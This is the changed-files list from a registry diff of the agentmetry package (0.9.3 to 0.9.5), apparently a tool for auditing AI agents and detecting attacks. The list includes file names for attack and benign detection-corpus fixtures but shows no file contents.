agentmetry 0.9.3__tar.gz → 0.9.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (287) hide show
  1. {agentmetry-0.9.3 → agentmetry-0.9.5}/.gitignore +8 -0
  2. {agentmetry-0.9.3 → agentmetry-0.9.5}/PKG-INFO +2 -2
  3. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/cli/__init__.py +22 -2
  4. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/atlas.py +1 -1
  5. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/canonical.py +1 -1
  6. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/doctor.py +13 -2
  7. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/version.py +1 -1
  8. agentmetry-0.9.5/agentmetry/demo.py +472 -0
  9. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/hooks/ingest.py +47 -1
  10. {agentmetry-0.9.3 → agentmetry-0.9.5}/pyproject.toml +1 -1
  11. agentmetry-0.9.5/tests/fixtures/codex_hooks/README.md +10 -0
  12. agentmetry-0.9.5/tests/fixtures/codex_hooks/permission-request.command.output.schema.json +91 -0
  13. agentmetry-0.9.5/tests/fixtures/codex_hooks/pre-tool-use.command.output.schema.json +93 -0
  14. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_atlas_detection_enrichment.py +1 -1
  15. agentmetry-0.9.5/tests/test_demo.py +76 -0
  16. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_doctor.py +42 -0
  17. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hook_decision_format.py +95 -0
  18. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_readme_claims.py +40 -0
  19. {agentmetry-0.9.3 → agentmetry-0.9.5}/tools/generate_sigma_pack.py +3 -3
  20. {agentmetry-0.9.3 → agentmetry-0.9.5}/.dockerignore +0 -0
  21. {agentmetry-0.9.3 → agentmetry-0.9.5}/.env.agentmetry-demo +0 -0
  22. {agentmetry-0.9.3 → agentmetry-0.9.5}/.env.example +0 -0
  23. {agentmetry-0.9.3 → agentmetry-0.9.5}/Dockerfile +0 -0
  24. {agentmetry-0.9.3 → agentmetry-0.9.5}/README.md +0 -0
  25. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/__init__.py +0 -0
  26. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/__init__.py +0 -0
  27. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/main.py +0 -0
  28. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/routes/__init__.py +0 -0
  29. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/routes/audit.py +0 -0
  30. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/routes/auth.py +0 -0
  31. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/trusted_host.py +0 -0
  32. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/websocket.py +0 -0
  33. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/api/ws_bridge.py +0 -0
  34. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/cli/__main__.py +0 -0
  35. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/__init__.py +0 -0
  36. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/api_token.py +0 -0
  37. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/__init__.py +0 -0
  38. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/adapters/__init__.py +0 -0
  39. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/adapters/agt.py +0 -0
  40. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/adapters/chronicle.py +0 -0
  41. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/adapters/cloudevents.py +0 -0
  42. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/adapters/ecs.py +0 -0
  43. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/adapters/sentinel.py +0 -0
  44. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/adapters/splunk.py +0 -0
  45. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/alerts.py +0 -0
  46. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/compliance_digest.py +0 -0
  47. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/__init__.py +0 -0
  48. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/benchmark.py +0 -0
  49. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_approval_denied_then_executed.jsonl +0 -0
  50. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_arbitrary_host_stage_execute.jsonl +0 -0
  51. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_autonomous_unapproved_write.jsonl +0 -0
  52. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_credential_exfil.jsonl +0 -0
  53. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_credential_then_cloud_api.jsonl +0 -0
  54. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_destructive_delete_burst.jsonl +0 -0
  55. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_discovery_then_collect.jsonl +0 -0
  56. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_dotfile_then_git_push.jsonl +0 -0
  57. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_encoded_command_download.jsonl +0 -0
  58. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_env_credential_exfil.jsonl +0 -0
  59. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_hashed_only_no_command.jsonl +0 -0
  60. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_interpreter_egress.jsonl +0 -0
  61. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_pr_merged_without_review.jsonl +0 -0
  62. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_proc_substitution_cradle.jsonl +0 -0
  63. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_remote_pipe_to_shell.jsonl +0 -0
  64. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_remote_staging_then_execute.jsonl +0 -0
  65. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_secret_manager_then_egress.jsonl +0 -0
  66. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_session_tool_burst.jsonl +0 -0
  67. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_single_command_exfil.jsonl +0 -0
  68. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_single_quoted_interpreter_egress.jsonl +0 -0
  69. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_ssh_directory_exfil.jsonl +0 -0
  70. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_subagent_swarm.jsonl +0 -0
  71. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_timestamp_collision.jsonl +0 -0
  72. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/attack_untrusted_input_then_action.jsonl +0 -0
  73. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_authoring_merge_fixtures.jsonl +0 -0
  74. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_autonomous_after_approval.jsonl +0 -0
  75. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_build_artifact_cleanup.jsonl +0 -0
  76. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_ci_artifact_download.jsonl +0 -0
  77. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_commit_message_names_cloud_clis.jsonl +0 -0
  78. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_database_migration.jsonl +0 -0
  79. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_dependency_install_and_build.jsonl +0 -0
  80. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_download_release_archive.jsonl +0 -0
  81. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_env_example_read.jsonl +0 -0
  82. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_fetch_data_then_run_repo_script.jsonl +0 -0
  83. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_fetch_dataset_then_analyse.jsonl +0 -0
  84. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_fetch_lockfile_then_install.jsonl +0 -0
  85. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_fetch_piped_into_own_script.jsonl +0 -0
  86. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_git_review_and_push.jsonl +0 -0
  87. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_github_raw_docs_then_script.jsonl +0 -0
  88. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_human_driven_deletes.jsonl +0 -0
  89. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_local_api_probing.jsonl +0 -0
  90. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_long_but_calm_session.jsonl +0 -0
  91. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_loopback_is_not_egress.jsonl +0 -0
  92. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_loopback_pipe_to_interpreter.jsonl +0 -0
  93. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_mcp_text_mentions_credential_path.jsonl +0 -0
  94. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_ordinary_development.jsonl +0 -0
  95. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_package_manager_after_fetch.jsonl +0 -0
  96. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_reading_config_that_is_not_secret.jsonl +0 -0
  97. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_remote_api_call_no_credentials.jsonl +0 -0
  98. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_research_then_docs.jsonl +0 -0
  99. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_reversed_order_is_not_exfil.jsonl +0 -0
  100. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_secret_names_and_docs.jsonl +0 -0
  101. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_test_and_fix_loop.jsonl +0 -0
  102. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/benign_writing_about_credentials.jsonl +0 -0
  103. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/corpus/corpus.yaml +0 -0
  104. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/disposition.py +0 -0
  105. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/engine.py +0 -0
  106. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/live.py +0 -0
  107. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/live_store.py +0 -0
  108. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/models.py +0 -0
  109. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/rules.py +0 -0
  110. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/traits.py +0 -0
  111. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/yaml_config.py +0 -0
  112. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/detection/yaml_rules.py +0 -0
  113. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/dlp/__init__.py +0 -0
  114. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/dlp/loader.py +0 -0
  115. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/dlp/models.py +0 -0
  116. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/dlp/scanner.py +0 -0
  117. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/dogfood.py +0 -0
  118. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/evidence_pack.py +0 -0
  119. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/external.py +0 -0
  120. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/forwarder.py +0 -0
  121. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/hashing.py +0 -0
  122. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/heartbeat.py +0 -0
  123. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/hook_bootstrap.py +0 -0
  124. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/identity.py +0 -0
  125. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/ingest.py +0 -0
  126. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/managed_hooks.py +0 -0
  127. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/mcp_inventory_event.py +0 -0
  128. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/migrate.py +0 -0
  129. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/mitre.py +0 -0
  130. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/otel_ingest.py +0 -0
  131. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/policy.py +0 -0
  132. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/policy_settings.py +0 -0
  133. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/redaction.py +0 -0
  134. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/replay.py +0 -0
  135. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/run_context.py +0 -0
  136. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/signing.py +0 -0
  137. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/sinks.py +0 -0
  138. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/spool.py +0 -0
  139. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/tool_policy/__init__.py +0 -0
  140. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/tool_policy/capability.py +0 -0
  141. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/tool_policy/evaluator.py +0 -0
  142. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/tool_policy/loader.py +0 -0
  143. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/tool_policy/models.py +0 -0
  144. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/trail_anchor.py +0 -0
  145. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/trail_chain.py +0 -0
  146. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/trail_db.py +0 -0
  147. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/trail_merkle.py +0 -0
  148. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/audit/trail_rotation.py +0 -0
  149. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/auth.py +0 -0
  150. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/bus/__init__.py +0 -0
  151. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/bus/audit_exporter.py +0 -0
  152. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/bus/bridges.py +0 -0
  153. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/bus/bus.py +0 -0
  154. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/bus/events.py +0 -0
  155. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/bus/outbox.py +0 -0
  156. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/config.py +0 -0
  157. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/dashboard_session.py +0 -0
  158. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/__init__.py +0 -0
  159. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/autostart.py +0 -0
  160. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/driver_paths.py +0 -0
  161. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/env_file.py +0 -0
  162. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/hook_coverage.py +0 -0
  163. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/mcp_inventory.py +0 -0
  164. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/diagnostics/mcp_schema.py +0 -0
  165. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/drivers/__init__.py +0 -0
  166. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/drivers/host.py +0 -0
  167. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/drivers/permissions.py +0 -0
  168. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/drivers/spec.py +0 -0
  169. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/extensions.py +0 -0
  170. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/health.py +0 -0
  171. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/operator_identity.py +0 -0
  172. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/core/paths.py +0 -0
  173. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/hooks/__init__.py +0 -0
  174. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/hooks/mcp_proxy.py +0 -0
  175. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/policies/detection/manifest.yaml +0 -0
  176. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/policies/dlp/manifest.yaml +0 -0
  177. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/policies/opa/agent_rules.rego +0 -0
  178. {agentmetry-0.9.3 → agentmetry-0.9.5}/agentmetry/policies/tool/manifest.yaml +0 -0
  179. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/conftest.py +0 -0
  180. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/fixtures/agt_filesink_exfil.jsonl +0 -0
  181. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/fixtures/agt_filesink_mixed.jsonl +0 -0
  182. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/fixtures/fake_mcp_server.py +0 -0
  183. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/fixtures/otel_claude_code_session.json +0 -0
  184. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_agentmetry_audit.py +0 -0
  185. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_agentmetry_ingest_client.py +0 -0
  186. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_agt_adapter.py +0 -0
  187. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_ask_gate_phase_a.py +0 -0
  188. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_atlas_mapping.py +0 -0
  189. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_audit_sinks.py +0 -0
  190. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_audit_stats.py +0 -0
  191. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_audit_tail.py +0 -0
  192. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_auth.py +0 -0
  193. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_auth_default.py +0 -0
  194. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_autostart.py +0 -0
  195. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_boot_sequence.py +0 -0
  196. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_burst_windows.py +0 -0
  197. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_chinese_agent_hooks.py +0 -0
  198. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_chinese_agent_sprint_b.py +0 -0
  199. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_chinese_agent_sprint_c.py +0 -0
  200. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_chronicle_adapter.py +0 -0
  201. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_cli_backup.py +0 -0
  202. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_cli_commands.py +0 -0
  203. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_cli_env_var_names.py +0 -0
  204. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_cloudevents_adapter.py +0 -0
  205. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_compliance_digest.py +0 -0
  206. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_container_and_legacy_runtime.py +0 -0
  207. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_crewai_adapter.py +0 -0
  208. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_adi.py +0 -0
  209. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_benchmark.py +0 -0
  210. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_default_config.py +0 -0
  211. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_disposition.py +0 -0
  212. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_disposition_api.py +0 -0
  213. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_duplicate_emission.py +0 -0
  214. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_emit_durability.py +0 -0
  215. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_engine.py +0 -0
  216. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_evasion.py +0 -0
  217. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_hf_incident.py +0 -0
  218. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_quoted_command_words.py +0 -0
  219. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_rule_identity.py +0 -0
  220. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_detection_rules_v2.py +0 -0
  221. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_dlp_agent_env_override.py +0 -0
  222. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_dlp_invisible_unicode.py +0 -0
  223. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_dlp_markdown_exfil.py +0 -0
  224. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_dlp_scanner.py +0 -0
  225. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_dogfood.py +0 -0
  226. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_dogfood_freeze.py +0 -0
  227. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_driver_paths.py +0 -0
  228. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_ecs_threat.py +0 -0
  229. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_event_bus.py +0 -0
  230. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_event_signing.py +0 -0
  231. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_evidence_pack.py +0 -0
  232. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_extensions.py +0 -0
  233. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_external_ingest.py +0 -0
  234. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_forwarder.py +0 -0
  235. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_forwarding_shape.py +0 -0
  236. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_funding_manifest.py +0 -0
  237. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hash_key.py +0 -0
  238. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_heartbeat.py +0 -0
  239. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hook_bootstrap.py +0 -0
  240. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hook_coverage.py +0 -0
  241. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hook_enforcement_timing.py +0 -0
  242. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hook_import_cost.py +0 -0
  243. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hook_real_process.py +0 -0
  244. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_hook_spool.py +0 -0
  245. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_identity_enrich.py +0 -0
  246. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_identity_provider.py +0 -0
  247. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_ingest_roundtrip.py +0 -0
  248. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_isolation.py +0 -0
  249. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_launch_targets.py +0 -0
  250. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_live_detection.py +0 -0
  251. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_live_detection_store.py +0 -0
  252. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_managed_hooks.py +0 -0
  253. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mcp_audit_proxy.py +0 -0
  254. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mcp_concealed_text.py +0 -0
  255. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mcp_inventory.py +0 -0
  256. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mcp_inventory_event.py +0 -0
  257. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mcp_meta_fingerprint.py +0 -0
  258. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mcp_proxy_packaged.py +0 -0
  259. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mcp_schema.py +0 -0
  260. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_mitre_dlp.py +0 -0
  261. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_opensre_adapter.py +0 -0
  262. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_operator_attribution.py +0 -0
  263. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_otel_ingest.py +0 -0
  264. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_paths.py +0 -0
  265. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_powershell_encoding.py +0 -0
  266. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_redaction.py +0 -0
  267. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_replay.py +0 -0
  268. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_sentinel.py +0 -0
  269. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_serve_script_binds_loopback.py +0 -0
